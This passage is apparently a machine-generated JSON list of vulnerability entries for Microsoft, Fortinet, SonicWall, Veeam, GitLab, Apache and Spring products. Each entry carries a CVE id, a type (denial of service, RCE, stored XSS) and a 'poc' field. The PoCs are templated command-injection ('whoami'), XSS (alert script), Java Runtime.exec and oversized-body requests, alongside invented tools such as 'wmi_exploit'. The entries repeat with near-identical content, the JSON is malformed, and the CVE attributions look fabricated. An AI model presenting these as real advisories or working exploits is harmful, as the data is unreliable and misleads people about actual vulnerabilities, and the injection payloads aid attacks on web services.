    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30161",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40653",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22335",
    "title": "Spring Data Cassandra - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data Cassandra flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28067",
    "title": "FortiVoice - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiVoice allows RCE."
  },
  {
    "id": "CVE-2024-29921",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report names."
  },
  {
    "id": "CVE-2023-34196",
    "title": "SonicWall Firewall - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Firewall flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26308",
    "title": "Windows ALPC - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40129",
    "title": "Apache Pulsar - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Pulsar API flaw causes denial of service via crafted function requests."
  },
  {
    "id": "CVE-2024-21468",
    "title": "Microsoft Azure API Management - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure API Management allows RCE."
  },
  {
    "id": "CVE-2023-28339",
    "title": "Microsoft PowerPoint - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "powerpoint.exe --malformed-slide crash.pptx",
    "description": "PowerPoint flaw causes denial of service via crafted slide processing."
  },
  {
    "id": "CVE-2024-30162",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40654",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22336",
    "title": "Spring Data Neo4j - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data Neo4j flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28068",
    "title": "FortiGate - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiGate allows RCE."
  },
  {
    "id": "CVE-2024-29922",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34197",
    "title": "SonicWall VPN - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall VPN allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26309",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40130",
    "title": "Apache Kafka - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Kafka allows script execution via topic names."
  },
  {
    "id": "CVE-2024-21469",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28340",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30163",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40655",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22337",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28069",
    "title": "FortiWeb - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiWeb allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29923",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34198",
    "title": "SonicWall GMS - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall GMS flaw causes denial of service via crafted requests."
  }
  {
    "id": "CVE-2024-30164",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40131",
    "title": "Apache Druid - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Druid allows script execution via SQL queries."
  },
  {
    "id": "CVE-2024-21470",
    "title": "Microsoft Azure Kubernetes - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kubectl flood --target cluster_ip",
    "description": "Azure Kubernetes flaw causes denial of service via crafted pod requests."
  },
  {
    "id": "CVE-2023-28341",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30165",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40656",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22338",
    "title": "Spring Data Elasticsearch - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Elasticsearch via crafted queries."
  },
  {
    "id": "CVE-2023-28070",
    "title": "FortiVoice - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiVoice allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29924",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34199",
    "title": "SonicWall SMA - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/sma HTTP/1.1\nHost: sonicwall-sma-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall SMA flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26310",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40132",
    "title": "Apache Pulsar - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Pulsar allows script execution via function names."
  },
  {
    "id": "CVE-2024-21471",
    "title": "Microsoft Azure AD - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure AD allows RCE."
  },
  {
    "id": "CVE-2023-28342",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  },
  {
    "id": "CVE-2024-30166",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40657",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22339",
    "title": "Spring Data JPA - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data JPA via crafted queries."
  },
  {
    "id": "CVE-2023-28071",
    "title": "FortiGate - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiGate allows script execution via VPN config fields."
  },
  {
    "id": "CVE-2024-29925",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34200",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-26311",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40133",
    "title": "Apache Kafka - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Kafka API flaw causes denial of service via crafted topic requests."
  },
  {
    "id": "CVE-2024-21472",
    "title": "Microsoft Azure Data Factory - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Data Factory allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28343",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30167",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40658",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22340",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28072",
    "title": "FortiMail - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiMail allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29926",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34201",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26312",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40134",
    "title": "Apache Flink - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Flink allows script execution via job names."
  },
  {
    "id": "CVE-2024-21473",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28344",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30168",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40659",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22341",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28073",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29927",
    "title": "Veeam Backup - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34202",
    "title": "SonicWall VPN - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall VPN flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26313",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40135",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21474",
    "title": "Microsoft Azure AD - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure AD flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-28345",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30169",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40660",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22342",
    "title": "Spring Data MongoDB - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data MongoDB allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28074",
    "title": "FortiVoice - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiVoice flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29928",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34203",
    "title": "SonicWall Analytics - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Analytics allows script execution via report names."
  },
  {
    "id": "CVE-2024-26314",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40136",
    "title": "Apache Kafka - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Kafka via topic configuration."
  },
  {
    "id": "CVE-2024-21475",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28346",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  }
  {
    "id": "CVE-2024-30170",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40137",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21476",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28347",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  },
  {
    "id": "CVE-2024-22343",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
